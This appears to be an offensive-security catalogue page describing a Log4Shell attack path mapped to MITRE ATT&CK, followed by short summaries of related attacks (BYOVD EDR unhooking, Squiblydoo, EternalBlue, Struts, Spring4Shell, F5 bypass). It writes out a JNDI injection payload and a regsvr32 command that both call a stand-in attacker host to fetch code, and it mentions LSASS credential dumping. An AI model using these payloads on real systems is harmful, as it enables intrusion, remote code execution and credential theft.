Log4Shell (CVE-2021-44228) → RCE → lateral
Send `${jndi:ldap://attacker/x}` in any logged field (User-Agent / X-Forwarded-For). Vulnerable log4j 2.x resolves the JNDI URL, fetches a Java class from attacker LDAP, runs it as the app user.
§ Context
Assumed environment: target runs a Java app with log4j 2.x < 2.17 in the dependency tree. Egress from the app server to the internet (or attacker-controlled internal IP) on LDAP/HTTP.
§ Steps
- 01Receive LDAP / DNS callbackInitial AccessT1190— Exploit Public-Facing Application
- 02Class loaded → arbitrary codeExecutionT1059— Command and Scripting Interpreter
- 03Identify Java app with loggingReconnaissanceW-RECON-FINGERPRINT— Tech Stack Fingerprinting
- 04LSASS / Linux creds + lateral movementCredential AccessW-LSASS-PROCDUMP— LSASS via procdump / comsvcs.dll
- 05Host malicious Java class on attacker LDAPResource DevelopmentT1583— Acquire Infrastructure
- 06Probe with `${jndi:ldap://collab}` payloadsExecutionCVE-LOG4SHELL— Log4Shell (CVE-2021-44228)
§ References
§ Frequently asked
- What is the "Log4Shell (CVE-2021-44228) → RCE → lateral" attack path?
- Send `${jndi:ldap://attacker/x}` in any logged field (User-Agent / X-Forwarded-For). Vulnerable log4j 2.x resolves the JNDI URL, fetches a Java class from attacker LDAP, runs it as the app user. It chains 6 steps drawn from real-world offensive-security techniques.
- What starting position does this attack require?
- The first step is Receive LDAP / DNS callback (T1190) — a initial access primitive. Assumed environment: target runs a Java app with log4j 2.
- What is the final impact of this kill-chain?
- The final step lands on Probe with `${jndi:ldap://collab}` payloads (CVE-LOG4SHELL), which falls under Execution. From here, an operator typically pivots into post-exploitation or maintains persistence.
- How can defenders detect or prevent this attack?
- Detection and prevention vary per step. Refer to each linked MITRE ATT&CK entry under "References" — every technique on that page lists defensive controls, detection telemetry, and known threat-actor usage.
§ Related dossiers
- Shared techniques2
BYOVD → kernel-level disable of EDR callbacks
From local admin, load a signed-but-vulnerable driver. Use its kernel primitive to walk the EDR's PsSetCreateProcessNotifyRoutine entries and unlink them — EDR stops receiving events while still 'running'.
- Shared techniques2
Squiblydoo: regsvr32 → remote SCT execution
regsvr32.exe /s /n /u /i:http://attacker/x.sct scrobj.dll. AppLocker / SRP often allow regsvr32 because it's signed Microsoft — attacker JS runs in its context.
- Shared techniques2
EternalBlue (MS17-010) → SMBv1 wormable spread
Unpatched Windows 7 / Server 2008 with SMBv1 enabled — pre-auth kernel RCE. Used by WannaCry / NotPetya in 2017, still found on enclave / industrial networks.
- Shared techniques2
Apache Struts S2-045 (CVE-2017-5638) → Equifax-style breach
Crafted Content-Type header is parsed as OGNL — execute commands as the app user. The 2017 Equifax breach origin: unpatched Struts endpoint exposed to the internet.
- Shared techniques2
Spring4Shell (CVE-2022-22965) → JSP webshell on Tomcat
Send a crafted POST that uses Spring's data-binding to mutate Tomcat's logging configuration — turn its access log into a JSP file written under webapps/, then request it.
- Shared techniques2
F5 BIG-IP iControl auth bypass (CVE-2022-1388) → root on LB
Connection-header smuggle bypasses iControl REST auth, command-injection RCE as root. Load balancers see all traffic — recover TLS keys, session cookies, internal SSO config.